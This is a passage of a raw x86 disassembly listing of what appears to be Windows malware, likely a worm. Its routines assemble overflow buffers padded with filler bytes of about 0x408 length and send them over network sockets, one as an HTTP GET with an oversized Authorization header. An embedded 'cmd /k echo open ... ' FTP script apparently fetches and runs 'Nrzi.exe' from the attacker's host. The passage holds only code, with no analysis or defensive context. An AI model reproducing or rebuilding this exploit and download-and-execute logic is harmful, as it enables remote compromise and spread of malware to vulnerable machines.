[ebp+Size] inc eax mov ecx, [ebp+var_10] mov [ecx+4], eax mov eax, [ebp+var_10] mov ecx, [ebp+Dst] mov [eax], ecx lea ecx, [ebp+Src] call sub_401C16 mov al, 1 locret_401DCE: ; CODE XREF: sub_401D3C+41j leave retn sub_401D3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401DD0 proc near ; CODE XREF: sub_401E0E+17p ; sub_401E2E+10p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx push [ebp+arg_4] ; int push [ebp+arg_0] ; int mov eax, [ebp+var_C] push dword ptr [eax+4] ; Size mov eax, [ebp+var_C] push dword ptr [eax] ; Src lea ecx, [ebp+var_8] call sub_401BA1 mov ecx, [ebp+var_C] call sub_401C16 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx mov al, 1 leave retn 8 sub_401DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_401E0E(char *Str) sub_401E0E proc near ; CODE XREF: sub_401EC3+110p ; sub_401EC3+189p ... var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] mov ecx, [ebp+var_4] call sub_401DD0 leave retn 4 sub_401E0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E2E proc near ; CODE XREF: sub_401E97+10p ; sub_401EC3+1D4p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+arg_4] push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_401DD0 leave retn 8 sub_401E2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E47 proc near ; CODE XREF: sub_401E97+23p ; sub_401EC3+ADp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov ecx, [ebp+var_C] call sub_401C3F movzx eax, al test eax, eax jnz short loc_401E63 xor al, al jmp short locret_401E95 ; --------------------------------------------------------------------------- loc_401E63: ; CODE XREF: sub_401E47+16j mov eax, [ebp+var_C] push dword ptr [eax+4] ; int mov eax, [ebp+var_C] push dword ptr [eax] ; int push 1 ; Size push offset dword_41E904 ; Src lea ecx, [ebp+var_8] call sub_401BA1 mov ecx, [ebp+var_C] call sub_401C16 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx mov al, 1 locret_401E95: ; CODE XREF: sub_401E47+1Aj leave retn sub_401E47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E97 proc near ; CODE XREF: sub_401EC3+15Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+arg_4] push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_401E2E movzx eax, al test eax, eax jnz short loc_401EB7 xor al, al jmp short locret_401EBF ; --------------------------------------------------------------------------- loc_401EB7: ; CODE XREF: sub_401E97+1Aj mov ecx, [ebp+var_4] call sub_401E47 locret_401EBF: ; CODE XREF: sub_401E97+1Ej leave retn 8 sub_401E97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401EC3 proc near ; CODE XREF: .text:00402A43p var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h Dst = byte ptr -840h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h lea ecx, [ebp+var_848] call sub_401B01 cmp [ebp+arg_8], 408h jg short loc_401EED mov eax, [ebp+arg_10] add eax, 8 cmp eax, 408h jbe short loc_401F09 loc_401EED: ; CODE XREF: sub_401EC3+1Bj mov eax, [ebp+arg_0] mov ecx, [ebp+var_848] mov [eax], ecx mov ecx, [ebp+var_844] mov [eax+4], ecx mov eax, [ebp+arg_0] jmp locret_40227B ; --------------------------------------------------------------------------- loc_401F09: ; CODE XREF: sub_401EC3+28j lea ecx, [ebp+var_10] call sub_401B01 lea ecx, [ebp+var_28] call sub_401B01 lea ecx, [ebp+var_858] call sub_401B01 lea ecx, [ebp+var_40] call sub_401B01 lea ecx, [ebp+var_38] call sub_401B01 lea ecx, [ebp+var_18] call sub_401B01 lea ecx, [ebp+var_850] call sub_401B01 push 4 push offset dword_41E5A4 lea ecx, [ebp+var_10] call sub_401DD0 push 3 push offset dword_41E5AC lea ecx, [ebp+var_10] call sub_401DD0 lea ecx, [ebp+var_10] call sub_401D3C lea ecx, [ebp+var_10] call sub_401E47 push 800h ; Size push 42h ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch push 8 push offset aRbrbrbrb ; "BBBB" lea ecx, [ebp+var_28] call sub_401DD0 push [ebp+arg_10] push [ebp+arg_C] lea ecx, [ebp+var_28] call sub_401DD0 mov eax, 409h sub eax, [ebp+var_24] push eax lea eax, [ebp+Dst] push eax lea ecx, [ebp+var_28] call sub_401DD0 lea ecx, [ebp+var_28] call sub_401D3C push offset Str ; Str lea ecx, [ebp+var_858] call sub_401E0E lea ecx, [ebp+var_858] call sub_401D3C push 800h ; Size push 44h ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch push 410h ; Size lea eax, [ebp+Dst] push eax ; Src lea ecx, [ebp+var_20] call sub_401B4C lea ecx, [ebp+var_20] call sub_401D3C push [ebp+var_1C] push [ebp+var_20] lea ecx, [ebp+var_858] call sub_401E97 lea ecx, [ebp+var_20] call sub_401C16 push 800h ; Size push 43h ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_40] call sub_401E0E push 4 push offset dword_41E5B0 lea ecx, [ebp+var_40] call sub_401DD0 push [ebp+arg_8] push [ebp+arg_4] lea ecx, [ebp+var_40] call sub_401DD0 mov eax, 408h sub eax, [ebp+arg_8] push eax lea eax, [ebp+Dst] push eax lea ecx, [ebp+var_40] call sub_401DD0 lea ecx, [ebp+var_40] call sub_401D3C push [ebp+var_3C] push [ebp+var_40] lea ecx, [ebp+var_38] call sub_401E2E push [ebp+var_854] push [ebp+var_858] lea ecx, [ebp+var_38] call sub_401E2E lea ecx, [ebp+var_38] call sub_401E47 lea ecx, [ebp+var_40] call sub_401C16 lea ecx, [ebp+var_858] call sub_401C16 push [ebp+var_24] push [ebp+var_28] lea ecx, [ebp+var_18] call sub_401E2E push [ebp+var_C] push [ebp+var_10] lea ecx, [ebp+var_18] call sub_401E2E push [ebp+var_34] push [ebp+var_38] lea ecx, [ebp+var_18] call sub_401E2E lea ecx, [ebp+var_18] call sub_401E47 lea ecx, [ebp+var_28] call sub_401C16 lea ecx, [ebp+var_10] call sub_401C16 lea ecx, [ebp+var_38] call sub_401C16 push 800h ; Size push 41h ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch push 400h lea eax, [ebp+Dst] push eax lea ecx, [ebp+var_850] call sub_401DD0 lea ecx, [ebp+var_850] call sub_401D3C push 2 push offset dword_41E91C lea ecx, [ebp+var_850] call sub_401DD0 push [ebp+var_14] push [ebp+var_18] lea ecx, [ebp+var_850] call sub_401E2E lea ecx, [ebp+var_850] call sub_401E47 lea ecx, [ebp+var_18] call sub_401C16 lea ecx, [ebp+var_8] call sub_401B01 lea ecx, [ebp+var_30] call sub_401B01 push [ebp+var_84C] push [ebp+var_850] lea ecx, [ebp+var_8] call sub_401E2E lea ecx, [ebp+var_8] call sub_401C3F lea ecx, [ebp+var_850] call sub_401C16 push offset dword_41E920 ; Str lea ecx, [ebp+var_30] call sub_401E0E push [ebp+var_4] push [ebp+var_8] lea ecx, [ebp+var_30] call sub_401E2E lea ecx, [ebp+var_30] call sub_401C3F lea ecx, [ebp+var_8] call sub_401C16 push offset dword_41E924 ; Str lea ecx, [ebp+var_8] call sub_401E0E push [ebp+var_2C] push [ebp+var_30] lea ecx, [ebp+var_8] call sub_401E2E lea ecx, [ebp+var_8] call sub_401C3F lea ecx, [ebp+var_30] call sub_401C16 push offset dword_41E928 ; Str lea ecx, [ebp+var_30] call sub_401E0E push [ebp+var_4] push [ebp+var_8] lea ecx, [ebp+var_30] call sub_401E2E lea ecx, [ebp+var_30] call sub_401C3F lea ecx, [ebp+var_8] call sub_401C16 push offset dword_41E934 ; Str lea ecx, [ebp+var_848] call sub_401E0E push [ebp+var_2C] push [ebp+var_30] lea ecx, [ebp+var_848] call sub_401E2E lea ecx, [ebp+var_30] call sub_401C16 mov eax, [ebp+arg_0] mov ecx, [ebp+var_848] mov [eax], ecx mov ecx, [ebp+var_844] mov [eax+4], ecx mov eax, [ebp+arg_0] locret_40227B: ; CODE XREF: sub_401EC3+41j leave retn sub_401EC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40227D(SOCKET fd, int, int, int) sub_40227D proc near ; CODE XREF: sub_402428+177p ; sub_402428+1BEp ... var_218 = dword ptr -218h var_214 = dword ptr -214h timeout = timeval ptr -210h readfds = fd_set ptr -208h exceptfds = fd_set ptr -104h fd = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h and [ebp+readfds.fd_count], 0 and [ebp+exceptfds.fd_count], 0 loc_402294: ; CODE XREF: sub_40227D+89j and [ebp+var_214], 0 jmp short loc_4022AA ; --------------------------------------------------------------------------- loc_40229D: ; CODE XREF: sub_40227D:loc_4022CCj mov eax, [ebp+var_214] inc eax mov [ebp+var_214], eax loc_4022AA: ; CODE XREF: sub_40227D+1Ej mov eax, [ebp+var_214] cmp eax, [ebp+readfds.fd_count] jnb short loc_4022CE mov eax, [ebp+var_214] mov eax, [ebp+eax*4+readfds.fd_array] cmp eax, [ebp+fd] jnz short loc_4022CC jmp short loc_4022CE ; --------------------------------------------------------------------------- loc_4022CC: ; CODE XREF: sub_40227D+4Bj jmp short loc_40229D ; --------------------------------------------------------------------------- loc_4022CE: ; CODE XREF: sub_40227D+39j ; sub_40227D+4Dj mov eax, [ebp+var_214] cmp eax, [ebp+readfds.fd_count] jnz short loc_402302 cmp [ebp+readfds.fd_count], 40h jnb short loc_402302 mov eax, [ebp+var_214] mov ecx, [ebp+fd] mov [ebp+eax*4+readfds.fd_array], ecx mov eax, [ebp+readfds.fd_count] inc eax mov [ebp+readfds.fd_count], eax loc_402302: ; CODE XREF: sub_40227D+5Dj ; sub_40227D+66j xor eax, eax test eax, eax jnz short loc_402294 loc_402308: ; CODE XREF: sub_40227D+FDj and [ebp+var_218], 0 jmp short loc_40231E ; --------------------------------------------------------------------------- loc_402311: ; CODE XREF: sub_40227D:loc_402340j mov eax, [ebp+var_218] inc eax mov [ebp+var_218], eax loc_40231E: ; CODE XREF: sub_40227D+92j mov eax, [ebp+var_218] cmp eax, [ebp+exceptfds.fd_count] jnb short loc_402342 mov eax, [ebp+var_218] mov eax, [ebp+eax*4+exceptfds.fd_array] cmp eax, [ebp+fd] jnz short loc_402340 jmp short loc_402342 ; --------------------------------------------------------------------------- loc_402340: ; CODE XREF: sub_40227D+BFj jmp short loc_402311 ; --------------------------------------------------------------------------- loc_402342: ; CODE XREF: sub_40227D+ADj ; sub_40227D+C1j mov eax, [ebp+var_218] cmp eax, [ebp+exceptfds.fd_count] jnz short loc_402376 cmp [ebp+exceptfds.fd_count], 40h jnb short loc_402376 mov eax, [ebp+var_218] mov ecx, [ebp+fd] mov [ebp+eax*4+exceptfds.fd_array], ecx mov eax, [ebp+exceptfds.fd_count] inc eax mov [ebp+exceptfds.fd_count], eax loc_402376: ; CODE XREF: sub_40227D+D1j ; sub_40227D+DAj xor eax, eax test eax, eax jnz short loc_402308 mov [ebp+timeout.tv_sec], 0Ah and [ebp+timeout.tv_usec], 0 lea eax, [ebp+timeout] push eax ; timeout lea eax, [ebp+exceptfds] push eax ; exceptfds push 0 ; writefds lea eax, [ebp+readfds] push eax ; readfds mov eax, [ebp+fd] inc eax push eax ; nfds call ds:select ; select cmp eax, 1 jz short loc_4023B8 xor eax, eax jmp short locret_4023E1 ; --------------------------------------------------------------------------- loc_4023B8: ; CODE XREF: sub_40227D+135j lea eax, [ebp+readfds] push eax ; fd_set * push [ebp+fd] ; fd call __WSAFDIsSet ; __WSAFDIsSet test eax, eax jnz short loc_4023CF xor eax, eax jmp short locret_4023E1 ; --------------------------------------------------------------------------- loc_4023CF: ; CODE XREF: sub_40227D+14Cj push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+fd] call dword_42643C ; recv locret_4023E1: ; CODE XREF: sub_40227D+139j ; sub_40227D+150j leave retn sub_40227D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023E3 proc near ; CODE XREF: sub_402428+147p ; sub_402428+18Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_426420 ; ntohl mov [ebp+var_4], eax push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_426470 ; send cmp eax, 4 jz short loc_40240D xor al, al jmp short locret_402426 ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: sub_4023E3+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_426470 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax locret_402426: ; CODE XREF: sub_4023E3+28j leave retn sub_4023E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_402428(SOCKET fd, void *Src, int) sub_402428 proc near ; CODE XREF: sub_4025FE+55p ; .text:00402BAEp Memory = dword ptr -10Ch Size = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h fd = dword ptr 8 Src = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch mov eax, [ebp+arg_8] add eax, 41h mov [ebp+Size], eax push [ebp+Size] ; Size call _malloc pop ecx mov [ebp+Memory], eax cmp [ebp+Memory], 0 jnz short loc_40245F xor al, al jmp locret_4025FC ; --------------------------------------------------------------------------- loc_40245F: ; CODE XREF: sub_402428+2Ej push [ebp+Size] ; Size push 0 ; Val push [ebp+Memory] ; Dst call _memset add esp, 0Ch and [ebp+var_104], 0 push 2Fh ; Size push offset dword_41E640 ; Src push [ebp+Memory] ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_104] add eax, 2Fh mov [ebp+var_104], eax mov eax, [ebp+Memory] add eax, [ebp+var_104] mov cx, word ptr [ebp+arg_8] mov [eax], cx mov eax, [ebp+var_104] inc eax inc eax mov [ebp+var_104], eax push 8 ; Size push offset dword_41E670 ; Src mov eax, [ebp+Memory] add eax, [ebp+var_104] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_104] add eax, 8 mov [ebp+var_104], eax mov eax, [ebp+Memory] add eax, [ebp+var_104] mov cx, word ptr [ebp+arg_8] mov [eax], cx mov eax, [ebp+var_104] inc eax inc eax mov [ebp+var_104], eax push [ebp+arg_8] ; Size push [ebp+Src] ; Src mov eax, [ebp+Memory] add eax, [ebp+var_104] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_104] add eax, [ebp+arg_8] mov [ebp+var_104], eax push 6 ; Size push offset dword_4248B8 ; Src mov eax, [ebp+Memory] add eax, [ebp+var_104] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_104] add eax, 6 mov [ebp+var_104], eax push 85h push offset dword_41E5B8 push [ebp+fd] call sub_4023E3 add esp, 0Ch movzx eax, al test eax, eax jnz short loc_40258E push [ebp+Memory] ; Memory call _free pop ecx xor al, al jmp short locret_4025FC ; --------------------------------------------------------------------------- loc_40258E: ; CODE XREF: sub_402428+154j push 0 ; int push 100h ; int lea eax, [ebp+var_100] push eax ; int push [ebp+fd] ; fd call sub_40227D add esp, 10h push [ebp+Size] push [ebp+Memory] push [ebp+fd] call sub_4023E3 add esp, 0Ch movzx eax, al test eax, eax jnz short loc_4025D5 push [ebp+Memory] ; Memory call _free pop ecx xor al, al jmp short locret_4025FC ; --------------------------------------------------------------------------- loc_4025D5: ; CODE XREF: sub_402428+19Bj push 0 ; int push 100h ; int lea eax, [ebp+var_100] push eax ; int push [ebp+fd] ; fd call sub_40227D add esp, 10h push [ebp+Memory] ; Memory call _free pop ecx mov al, 1 locret_4025FC: ; CODE XREF: sub_402428+32j ; sub_402428+164j ... leave retn sub_402428 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4025FE(SOCKET fd, void *Src, int) sub_4025FE proc near ; CODE XREF: .text:00402B7Dp var_20 = dword ptr -20h fd = dword ptr 8 Src = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 ; flags push 48h ; len push offset buf ; "" push [ebp+fd] ; s call ds:send ; send cmp eax, 48h jz short loc_40261F xor al, al jmp short locret_40265B ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_4025FE+1Bj push 0 ; int push 20h ; int lea eax, [ebp+var_20] push eax ; int push [ebp+fd] ; fd call sub_40227D add esp, 10h cmp eax, 0FFFFFFFFh jnz short loc_40263B xor al, al jmp short locret_40265B ; --------------------------------------------------------------------------- loc_40263B: ; CODE XREF: sub_4025FE+37j movzx eax, byte ptr [ebp+var_20] cmp eax, 82h jz short loc_40264A xor al, al jmp short locret_40265B ; --------------------------------------------------------------------------- loc_40264A: ; CODE XREF: sub_4025FE+46j push [ebp+arg_8] ; int push [ebp+Src] ; Src push [ebp+fd] ; fd call sub_402428 add esp, 0Ch locret_40265B: ; CODE XREF: sub_4025FE+1Fj ; sub_4025FE+3Bj ... leave retn sub_4025FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40265D proc near ; CODE XREF: sub_4026C9+27p var_2C = qword ptr -2Ch var_24 = qword ptr -24h var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] shl eax, 3 mov dword ptr [ebp+var_C], eax and dword ptr [ebp+var_C+4], 0 fild [ebp+var_C] fdiv ds:dbl_41C220 call __ftol mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword ptr [ebp+var_14], eax and dword ptr [ebp+var_14+4], 0 fild [ebp+var_14] fstp [ebp+var_1C] mov eax, [ebp+var_4] mov dword ptr [ebp+var_24], eax and dword ptr [ebp+var_24+4], 0 fild [ebp+var_24] fdiv ds:dbl_41C218 push ecx push ecx ; double fstp [esp+2Ch+var_2C] call _floor pop ecx pop ecx fadd st, st fadd [ebp+var_1C] call __ftol mov [ebp+var_4], eax mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40265D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026C9 proc near ; CODE XREF: sub_40288F+21p var_4C = qword ptr -4Ch var_44 = qword ptr -44h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = byte ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str = dword ptr 14h mov eax, offset loc_41B324 call __EH_prolog sub esp, 38h and [ebp+var_3C], 0 lea eax, [ebp+var_38] push eax lea ecx, [ebp+var_20] call sub_402C7F mov [ebp+var_4], 1 push [ebp+arg_8] call sub_40265D pop ecx push eax lea ecx, [ebp+var_20] call sub_402E08 and [ebp+var_10], 0 loc_402703: ; CODE XREF: sub_4026C9:loc_40285Bj cmp [ebp+arg_8], 0 jbe loc_402860 cmp [ebp+arg_8], 3 jb short loc_40271C mov [ebp+var_30], 3 jmp short loc_402738 ; --------------------------------------------------------------------------- loc_40271C: ; CODE XREF: sub_4026C9+48j cmp [ebp+arg_8], 2 jnz short loc_40272B mov [ebp+var_30], 2 jmp short loc_402738 ; --------------------------------------------------------------------------- loc_40272B: ; CODE XREF: sub_4026C9+57j cmp [ebp+arg_8], 1 jnz short loc_402738 mov [ebp+var_30], 1 loc_402738: ; CODE XREF: sub_4026C9+51j ; sub_4026C9+60j ... mov eax, [ebp+var_30] mov dword ptr [ebp+var_44], eax and dword ptr [ebp+var_44+4], 0 fild [ebp+var_44] fmul ds:dbl_41C228 fdiv ds:dbl_41C220 push ecx push ecx ; double fstp [esp+4Ch+var_4C] call _ceil pop ecx pop ecx call __ftol mov [ebp+var_2C], eax and [ebp+var_34], 0 jmp short loc_402772 ; --------------------------------------------------------------------------- loc_40276B: ; CODE XREF: sub_4026C9+C0j mov eax, [ebp+var_34] inc eax mov [ebp+var_34], eax loc_402772: ; CODE XREF: sub_4026C9+A0j mov eax, [ebp+var_34] cmp eax, [ebp+var_30] jnb short loc_40278B mov eax, [ebp+arg_4] add eax, [ebp+var_34] mov ecx, [ebp+var_34] mov al, [eax] mov [ebp+ecx+var_28], al jmp short loc_40276B ; --------------------------------------------------------------------------- loc_40278B: ; CODE XREF: sub_4026C9+AFj mov eax, [ebp+arg_4] add eax, [ebp+var_30] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_30] mov [ebp+arg_8], eax movsx eax, [ebp+var_28] and eax, 0FCh sar eax, 2 mov [ebp+var_24], al movsx eax, [ebp+var_28] and eax, 3 shl eax, 4 movsx ecx, [ebp+var_27] and ecx, 0F0h sar ecx, 4 add eax, ecx mov [ebp+var_23], al movsx eax, [ebp+var_27] and eax, 0Fh movsx ecx, [ebp+var_26] and ecx, 0C0h sar ecx, 6 lea eax, [ecx+eax*4] mov [ebp+var_22], al movsx eax, [ebp+var_26] and eax, 3Fh mov [ebp+var_21], al and [ebp+var_34], 0 jmp short loc_4027F9 ; --------------------------------------------------------------------------- loc_4027F2: ; CODE XREF: sub_4026C9+158j mov eax, [ebp+var_34] inc eax mov [ebp+var_34], eax loc_4027F9: ; CODE XREF: sub_4026C9+127j mov eax, [ebp+var_34] cmp eax, [ebp+var_2C] jnb short loc_402823 mov eax, [ebp+var_34] movsx eax, [ebp+eax+var_24] mov al, byte_41E6C8[eax] push eax ; int push 1 ; Size lea ecx, [ebp+var_20] call sub_402D44 mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax jmp short loc_4027F2 ; --------------------------------------------------------------------------- loc_402823: ; CODE XREF: sub_4026C9+136j cmp [ebp+var_10], 48h jb short loc_402838 push [ebp+Str] ; Str lea ecx, [ebp+var_20] call sub_402D16 and [ebp+var_10], 0 loc_402838: ; CODE XREF: sub_4026C9+15Ej mov eax, [ebp+var_2C] mov [ebp+var_34], eax jmp short loc_402847 ; --------------------------------------------------------------------------- loc_402840: ; CODE XREF: sub_4026C9+190j mov eax, [ebp+var_34] inc eax mov [ebp+var_34], eax loc_402847: ; CODE XREF: sub_4026C9+175j cmp [ebp+var_34], 4 jnb short loc_40285B push 3Dh ; int push 1 ; Size lea ecx, [ebp+var_20] call sub_402D44 jmp short loc_402840 ; --------------------------------------------------------------------------- loc_40285B: ; CODE XREF: sub_4026C9+182j jmp loc_402703 ; --------------------------------------------------------------------------- loc_402860: ; CODE XREF: sub_4026C9+3Ej lea eax, [ebp+var_20] push eax mov ecx, [ebp+arg_0] call sub_402CA1 mov eax, [ebp+var_3C] or al, 1 mov [ebp+var_3C], eax and byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_20] call sub_402D03 mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov large fs:0, ecx leave retn sub_4026C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40288F proc near ; CODE XREF: .text:00402B42p var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h Count = dword ptr -14h Memory = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h mov eax, offset sub_41B340 call __EH_prolog sub esp, 24h push esi and [ebp+var_4], 0 push offset dword_4248C4 push [ebp+arg_8] push [ebp+arg_4] lea eax, [ebp+var_24] push eax call sub_4026C9 add esp, 10h mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+arg_C] call sub_402DF9 mov esi, eax lea ecx, [ebp+var_24] call sub_402DF9 lea eax, [esi+eax+36h] mov [ebp+Count], eax push [ebp+Count] ; Size call _malloc pop ecx mov [ebp+Memory], eax cmp [ebp+Memory], 0 jnz short loc_40290B and [ebp+var_28], 0 and byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_24] call sub_402D03 or [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_C] call sub_402D03 mov al, [ebp+var_28] jmp loc_402998 ; --------------------------------------------------------------------------- loc_40290B: ; CODE XREF: sub_40288F+56j lea ecx, [ebp+var_24] call sub_402DD0 push eax lea ecx, [ebp+arg_C] call sub_402DD0 push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push [ebp+Count] ; Count push [ebp+Memory] ; Dest call __snprintf add esp, 14h push 0 push [ebp+Count] push [ebp+Memory] push [ebp+arg_0] call dword_426470 ; send cmp eax, [ebp+Count] jz short loc_402970 push [ebp+Memory] ; Memory call _free pop ecx and [ebp+var_2C], 0 and byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_24] call sub_402D03 or [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_C] call sub_402D03 mov al, [ebp+var_2C] jmp short loc_402998 ; --------------------------------------------------------------------------- loc_402970: ; CODE XREF: sub_40288F+B5j push [ebp+Memory] ; Memory call _free pop ecx mov [ebp+var_30], 1 and byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_24] call sub_402D03 or [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_C] call sub_402D03 mov al, [ebp+var_30] loc_402998: ; CODE XREF: sub_40288F+77j ; sub_40288F+DFj mov ecx, [ebp+var_C] mov large fs:0, ecx pop esi leave retn sub_40288F endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 640h push edi and byte ptr [ebp-408h], 0 mov ecx, 0FFh xor eax, eax lea edi, [ebp-407h] rep stosd stosw stosb push 8Fh push offset dword_41E874 lea eax, [ebp-408h] push eax call _memcpy add esp, 0Ch push offset String2 ; "Nrzi.exe" push offset String2 ; "Nrzi.exe" push hostshort push dword ptr [ebp+8] call sub_40892F pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... push 400h lea eax, [ebp-379h] push eax call __snprintf add esp, 1Ch mov [ebp-4], eax mov eax, [ebp-4] add eax, 90h mov [ebp-418h], eax push dword ptr [ebp-418h] lea eax, [ebp-408h] push eax push 164h push offset aSvwfbA ; "SVWf" lea eax, [ebp-634h] push eax call sub_401EC3 add esp, 14h mov ecx, [eax] mov eax, [eax+4] mov [ebp-414h], ecx mov [ebp-410h], eax cmp dword ptr [ebp-410h], 0 jnz short loc_402A6C xor eax, eax jmp loc_402C5D ; --------------------------------------------------------------------------- loc_402A6C: ; CODE XREF: .text:00402A63j and dword ptr [ebp-8], 0 and dword ptr [ebp-40Ch], 0 loc_402A77: ; CODE XREF: .text:00402BE6j cmp dword ptr [ebp-8], 2 jge loc_402BEB cmp dword ptr [ebp-40Ch], 0 jnz loc_402BEB push 6 push 1 push 2 call ds:socket ; socket mov [ebp-41Ch], eax cmp dword ptr [ebp-41Ch], 0FFFFFFFFh jz loc_402BCB and word ptr [ebp-42Ch], 0 xor eax, eax lea edi, [ebp-42Ah] stosd stosd stosd stosw mov word ptr [ebp-42Ch], 2 push dword ptr [ebp+0A8h] call dword_426424 ; ntohs mov [ebp-42Ah], ax lea eax, [ebp+0Ch] push eax call dword_426460 ; inet_addr mov [ebp-428h], eax push 10h lea eax, [ebp-42Ch] push eax push dword ptr [ebp-41Ch] call dword_4263D8 ; connect cmp eax, 0FFFFFFFFh jz loc_402BBF cmp dword ptr [ebp+0A8h], 50h jnz short loc_402B5F sub esp, 10h mov ecx, esp mov [ebp-638h], esp lea eax, [ebp-63Ch] push eax lea eax, [ebp+0Ch] push eax call sub_402CD6 push dword ptr [ebp-410h] push dword ptr [ebp-414h] push dword ptr [ebp-41Ch] call sub_40288F add esp, 